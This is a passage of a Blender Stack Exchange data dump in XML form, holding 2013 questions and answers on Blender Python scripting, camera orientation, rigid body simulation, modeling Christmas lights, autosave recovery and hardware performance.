&lt;a href=&quot;https://blender.stackexchange.com/q/2176/599&quot;&gt;Can Cycles use multiple UV layers?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-12-01T07:12:12.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5207" PostTypeId="2" ParentId="5191" CreationDate="2013-12-01T08:14:50.673" Score="2" Body="&lt;p&gt;There is no API to query internal fonts, the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/blf.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; says that 0 as font-id can be used for the default font.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-01T08:14:50.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5208" PostTypeId="1" AcceptedAnswerId="5219" CreationDate="2013-12-01T14:40:01.163" Score="8" ViewCount="799" Body="&lt;p&gt;I'm writing a Python script that creates a Blender scene; I'm running it from the command line with &lt;code&gt;blender -P script.py&lt;/code&gt;. However, the splash screen always appears and it's really annoying. Is there something I can do from the script that prevents the splash screen from showing up for just that invocation of Blender? Note that I do &lt;em&gt;not&lt;/em&gt; want to change the global preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tooltip over the user preferences splash screen setting recommends &lt;code&gt;bpy.types.UserPreferencesView.show_splash&lt;/code&gt;, but changing this from my script doesn't seem to do anything.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2021-01-28T18:07:58.903" Title="Prevent splash screen from being shown when using a script?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5210" PostTypeId="1" CreationDate="2013-12-01T16:15:12.500" Score="18" ViewCount="13670" Body="&lt;p&gt;I'm trying to use Python to place a camera. I know the camera's location, and the forward and up vectors for the camera (i.e. the direction it's pointing and its orientation). How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's possible to calculate a raw world matrix from the above information, which I can then apply to the camera, but I was rather hoping not to have to. Is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2020-09-02T14:55:42.867" Title="Pointing the camera in a particular direction programmatically" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5211" PostTypeId="1" AcceptedAnswerId="5440" CreationDate="2013-12-01T16:21:32.270" Score="5" ViewCount="1361" Body="&lt;p&gt;I'm trying to convert hierachical rotation matrices (from a Kinect) to manipulate a mesh in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpRgq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to change the Quaternion values like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  qt.w = qr.w&#xA;  qt.x = qr.x&#xA;  qt.y = -qr.z&#xA;  qt.z = qr.y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should this work mathematicaly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My models joints jump randomly around (this with having only a few matrices changed from idendity to have a chance while debugging):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aEweS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZhZ3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-11T21:13:19.310" Title="Can a quaternion be used to convert between coordinate systems?" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5212" PostTypeId="1" CreationDate="2013-12-01T17:33:47.063" Score="7" ViewCount="910" Body="&lt;p&gt;I have tried to add a new scene (Merge) and in the compositor I've added the renderlayers from each scene and then merged them with &lt;em&gt;Color&gt;Mix&gt;Screen&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like there should be a better way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to use the File Output node without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KY2ap.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some test using the suggested methods, still testing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YY12.png&quot; alt=&quot;Mix&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3CMyy.png&quot; alt=&quot;Lighten&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rnt6E.png&quot; alt=&quot;Add&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X0LgP.png&quot; alt=&quot;Value&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Alpha with the invisible selected.  I think this is it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lvssy.png&quot; alt=&quot;Alpha with Invisible selected&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1342" LastEditorUserId="599" LastEditDate="2013-12-04T06:38:21.703" LastActivityDate="2013-12-04T12:27:58.023" Title="How to combine Cycles and Blender render god-rays?" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5213" PostTypeId="1" AcceptedAnswerId="5217" CreationDate="2013-12-01T18:34:51.540" Score="16" ViewCount="3529" Body="&lt;p&gt;I am trying to create a natural arrangement of rubber thimbles in a jar.  What is the easiest method of doing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried various settings with the jar being passive and using the various collision types like box, cylinder and mesh but none seem to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried dropping the thimbles into the jar but they either stop early and spill over or go through the jar! Is it better to use some sort of particle distribution? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1722" LastEditorUserId="12" LastEditDate="2013-12-04T21:44:58.270" LastActivityDate="2013-12-05T23:28:12.040" Title="Settings to fill an open container with objects" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5215" PostTypeId="1" CreationDate="2013-12-01T19:34:39.957" Score="3" ViewCount="1902" Body="&lt;p&gt;I am wondering how to make Christmas lights in blender. They need to be simple, I am not going big for the cords, but I am focusing more on the lights. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to blender, so it will be a simple animation.&lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="599" LastEditDate="2013-12-02T02:43:42.537" LastActivityDate="2015-11-21T22:56:01.843" Title="How can I make Christmas lights to put on a Christmas tree" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ClosedDate="2013-12-03T18:50:32.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="5216" PostTypeId="2" ParentId="5210" CreationDate="2013-12-01T20:34:21.983" Score="4" Body="&lt;p&gt;One way is to assign tuples directly to the camera object's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Object.html#bpy.types.Object.location&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;location&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Object.html#bpy.types.Object.rotation_euler&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rotation_euler&lt;/code&gt;&lt;/a&gt; attributes. For example, with the camera selected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import radians&#xA;&#xA;camera = bpy.context.object&#xA;camera.location = (1.0, 0.0, 1.0)&#xA;camera.rotation_euler = (radians(45), 0.0, radians(30))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-01T20:34:21.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5217" PostTypeId="2" ParentId="5213" CreationDate="2013-12-01T20:34:46.997" Score="18" Body="&lt;p&gt;You can use rigid body physics to do this, make sure of the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All modifiers that you want to affect the simulation are applied&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The jar has thickness&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The jar is set to &lt;em&gt;Mesh&lt;/em&gt; collision type to allow objects inside of it&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also want to enable &lt;em&gt;Split impulse&lt;/em&gt; in &lt;em&gt;Scene &amp;gt; Rigid body world&lt;/em&gt; to prevent intersecting objects flying apart at high speed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To arrange the thimble objects above the jar you could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Advanced/Randomize_Transform&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Randomize Transform&lt;/em&gt;&lt;/a&gt; tool (&lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&amp;gt; Randomize Transform&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Once you have simulated the objects falling into the container and you want to remove the physics but keep the location/rotation for a specific frame, you can do this by:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the objects you want to bake into posistion&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Bake to keyframes&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Tool shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &amp;gt; Rigid body tools&lt;/em&gt; and set the &lt;em&gt;Start&lt;/em&gt; and &lt;em&gt;End&lt;/em&gt; frames to the frame you want to keep:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LlEuF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;OK&lt;/kbd&gt;. This will remove the rigid body physics settings from all selected objects, and add a single keyframe on the specified frame.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can then remove this keyframe (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7SNFZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-05T23:28:12.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5218" PostTypeId="2" ParentId="5215" CreationDate="2013-12-01T20:49:45.197" Score="2" Body="&lt;p&gt;You could do this with &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modifiers&lt;/a&gt;&lt;/em&gt;, E.g. an &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;Array&lt;/a&gt;&lt;/em&gt; modifier and a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve&lt;/a&gt;&lt;/em&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a stretch of wire with a light or two. The ends should be precisely placed so that the array modifier can merge them.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;To model such a basic lowpoly cable, you could add a &lt;em&gt;Circle&lt;/em&gt; with &lt;code&gt;5&lt;/code&gt; vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5o5mK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, rotate &lt;code&gt;90&lt;/code&gt; on the &lt;code&gt;X&lt;/code&gt; axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;), then extrude (&lt;kbd&gt;E&lt;/kbd&gt;) it to both sides with increment snapping (&lt;kbd&gt;Ctrl&lt;/kbd&gt;) so it is aligned to the grid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kUgER.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create two loop cuts (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;) on either side of the middle edgeloop, then delete the middle edgeloop (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Edge loop&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BoLre.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the two top vertices apart (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4GUvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude the two top faces up (&lt;kbd&gt;E&lt;/kbd&gt;) and flatten by scaling to &lt;code&gt;0&lt;/code&gt; (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ov2ga.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude and scale in, extrude and scale up in a bulb shape, then merge (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;) the remaining vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VEcuM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add an &lt;em&gt;Array&lt;/em&gt; modifier and enable &lt;em&gt;Merge&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1J8pq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Curve&lt;/em&gt; modifier and set the &lt;em&gt;Object&lt;/em&gt; to a curve object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iQPZX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also see this tutorial on &lt;a href=&quot;https://vimeo.com/8088709&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cookie&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-11-21T22:56:01.843" LastActivityDate="2015-11-21T22:56:01.843" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5219" PostTypeId="2" ParentId="5208" CreationDate="2013-12-01T20:54:06.317" Score="8" Body="&lt;p&gt;The attribute to change is not in &lt;code&gt;UserPreferencesView&lt;/code&gt; &lt;em&gt;type&lt;/em&gt;, but in that class' &lt;em&gt;instance&lt;/em&gt;. The right instance to modify, currently used viewing data preferences, is the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.UserPreferences.html#bpy.types.UserPreferences.view&quot;&gt;&lt;code&gt;view&lt;/code&gt;&lt;/a&gt; attribute of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Context.html#bpy.types.Context.user_preferences&quot;&gt;&lt;code&gt;bpy.context.user_preferences&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.user_preferences.view.show_splash = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-01T20:54:06.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5220" PostTypeId="2" ParentId="5210" CreationDate="2013-12-01T21:58:06.940" Score="27" Body="&lt;p&gt;Heres a script to make a camera point towards any point in space.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def look_at(obj_camera, point):&#xA;    loc_camera = obj_camera.matrix_world.to_translation()&#xA;&#xA;    direction = point - loc_camera&#xA;    # point the cameras '-Z' and use its 'Y' as up&#xA;    rot_quat = direction.to_track_quat('-Z', 'Y')&#xA;&#xA;    # assume we're using euler rotation&#xA;    obj_camera.rotation_euler = rot_quat.to_euler()&#xA;&#xA;# Test&#xA;obj_camera = bpy.data.objects[&quot;Camera&quot;]&#xA;obj_other = bpy.data.objects[&quot;Cube&quot;]&#xA;&#xA;obj_camera.location = (5.0, 2.0, 3.0)&#xA;look_at(obj_camera, obj_other.matrix_world.to_translation())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-01T21:58:06.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5222" PostTypeId="1" AcceptedAnswerId="5224" CreationDate="2013-12-02T05:49:24.250" Score="6" ViewCount="1837" Body="&lt;p&gt;I had been working on a Blender file for about an hour when my whole system just crashed and powered itself off (using Ubuntu 13.10, and I had many applications open).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The /tmp directory where the autosave file is typically found had no blender files in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just opened Blender again and confirmed that the autosave feature is working properly according to my settings (saving 2734.blend every 3 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why is there no autosave file?  The /tmp directory had other files in it, so I don't think that Ubuntu crashing caused the file to be deleted.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2013-12-03T22:05:38.150" LastActivityDate="2013-12-03T23:47:34.807" Title="System crashed but no autosave file found" Tags="&lt;blend-files&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5223" PostTypeId="2" ParentId="5215" CreationDate="2013-12-02T07:52:04.003" Score="0" Body="&lt;p&gt;If the lights are seen from a distance you could create a group of simple colored spheres and use them as emissions objects of a particle system. Then take the particle emitter (a cube will do) and send it in a path around the object you want to dress with lights (a tree for example). In the particle system properties turn off all the velocity and gravity so the particles remain locked to path of emitter.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2013-12-02T07:52:04.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5224" PostTypeId="2" ParentId="5222" CreationDate="2013-12-02T08:51:24.253" Score="4" Body="&lt;p&gt;It seems &lt;code&gt;/tmp&lt;/code&gt; &lt;a href=&quot;https://askubuntu.com/q/20783/183331&quot;&gt;is cleared on startup in ubuntu by default&lt;/a&gt;, so&#xA;unfortunately if you had to reboot your machine everything in &lt;code&gt;/tmp&lt;/code&gt; was erased.&#xA;The other files you saw in &lt;code&gt;/tmp&lt;/code&gt; were probably created on startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has some other backup systems (see this &lt;a href=&quot;https://blender.stackexchange.com/q/3026/599&quot;&gt;post&lt;/a&gt;), but if you did not make any manual saves I'm afraid there is nothing to be done.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Autosaving to the hard drive:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could change the directory blender uses to store temporary backups to a location on your hard drive by changing the &lt;em&gt;Temp&lt;/em&gt; location in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; File&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/utmaW.png&quot; alt=&quot;User preferences screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this setting controls the location of everything blender puts in &lt;code&gt;/tmp&lt;/code&gt; by default, not just the autosave files.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-12-03T23:47:34.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5225" PostTypeId="1" AcceptedAnswerId="5237" CreationDate="2013-12-02T11:46:23.527" Score="4" ViewCount="873" Body="&lt;p&gt;I'm new to Blender and the Python language and I'm trying to extract the coordinates of the corners of a plane track from all the frames of a clip. I'm having trouble even accessing(?) the plane track object/variable. I hover over the text field containing the name of the plane track and it says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;bpy.data.movieclips[&quot;1340wbdc0000.jpeg&quot;].tracking.plane_tracks[&quot;pt&quot;].name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I type that line into the console, but then I get the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA; File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;KeyError: 'bpy_prop_collection[key]: key &quot;pt&quot; not found'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D.movieclips[&quot;1340wbdc0000.jpeg&quot;].tracking.plane_tracks.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The console &quot;responds&quot; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.movieclips['1340wbdc0000.jpeg'].tracking.plane_tracks[&quot;pt&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is really making me very confused and frustrated. What am I doing wrong? Could this be a bug since plane tracking is a new feature?&lt;/p&gt;&#xA;" OwnerUserId="1726" LastEditorUserId="599" LastEditDate="2013-12-02T19:41:52.510" LastActivityDate="2013-12-06T17:06:10.597" Title="Accessing plane track using Python API" Tags="&lt;python&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5227" PostTypeId="1" AcceptedAnswerId="5234" CreationDate="2013-12-02T16:41:02.737" Score="6" ViewCount="1834" Body="&lt;p&gt;How can I create a simple scene setup that looks like material preview? I want to render the material preview (specifically the flat XY plane) in a higher resolution. I've tried to copy the setup in a Blender scene, but it doesn't look the same. Are there any addons or ways to export the material preview in any resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that I need it to look exactly the same as the material preview.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1729" LastEditorUserId="20" LastEditDate="2013-12-02T17:49:51.120" LastActivityDate="2021-01-01T22:21:22.320" Title="How to get a high resolution image of the material preview?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5228" PostTypeId="1" CreationDate="2013-12-02T17:56:06.793" Score="19" ViewCount="42717" Body="&lt;p&gt;I have an NVIDIA Titan GPU and I'm able to add another card, but I wonder whether  Blender will benefit from more than one GPUs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I do it as SLI or should I just do it as an added card? I just need some help in understanding how Blender will use either SLI or a second GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I only use Cycles.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="29301" LastEditDate="2018-11-21T03:52:02.110" LastActivityDate="2018-11-21T03:52:02.110" Title="How will multiple GPUs improve Cycles' rendering performance?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5229" PostTypeId="2" ParentId="5228" CreationDate="2013-12-02T17:58:59.060" Score="13" Body="&lt;p&gt;There are lots of good articles out there on this topic, and short of recreating them, I can say that the two cards I use are not in SLI (wrong motherboard for it) and it uses them like two separate cores. It'll render two chunks at a time, if you tell it to use both. Some of the articles say that running in SLI is a little slower than running two separate cards, but I'm not familiar with the principles behind that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if the rendered preview (in the viewport) benefits at all, but it can't hurt.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-02T17:58:59.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5230" PostTypeId="1" CreationDate="2013-12-02T18:01:52.340" Score="8" ViewCount="32949" Body="&lt;p&gt;I have 64GB of RAM on my computer and I'm trying to check if Blender is using all that it can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still get viewport slowdown at times when working with complex objects. I know there are many settings in the preferences and I want to know how I can tell if windows 7 and Blender are working to use all 64GB of RAM.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="599" LastEditDate="2013-12-02T19:40:19.863" LastActivityDate="2017-07-28T16:36:37.770" Title="How can I tell if Blender is using all 64 GB of RAM?" Tags="&lt;3d-view&gt;&lt;performance&gt;&lt;memory-management&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5231" PostTypeId="2" ParentId="5230" CreationDate="2013-12-02T18:38:39.507" Score="9" Body="&lt;p&gt;You can tell how much memory Blender is currently using by looking in the info bar: &lt;img src=&quot;https://i.stack.imgur.com/jOTB2.png&quot; alt=&quot;http://puu.sh/5A0U6.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use that to see if Blender's memory usage is hitting a plateau, but it seems to me your issue is your graphics card. More memory won't make your viewport faster, that's what a graphics card will do. More memory means Blender doesn't have to swap as much data onto the hard drive. That means more memory makes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting cache for simulations faster (this won't necessarily make it run faster, it'll just make the data easier to grab). Apparently it also is necessary to compute high resolution fluids (thanks &lt;a href=&quot;https://blender.stackexchange.com/users/599/gandalf3&quot;&gt;gandal3&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Viewing undo history faster (again, this is just accessing the data, not computing it).&lt;/li&gt;&#xA;&lt;li&gt;Speed up loading large images (because it won't have to swap to the hard drive every time you adjust the image)&lt;/li&gt;&#xA;&lt;li&gt;Video editor/tracker cache will also be stored on memory if it is available (which is of course faster than storing it on the hard drive) (thanks again to &lt;a href=&quot;https://blender.stackexchange.com/users/599/gandalf3&quot;&gt;gandalf3&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-12-02T20:01:44.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
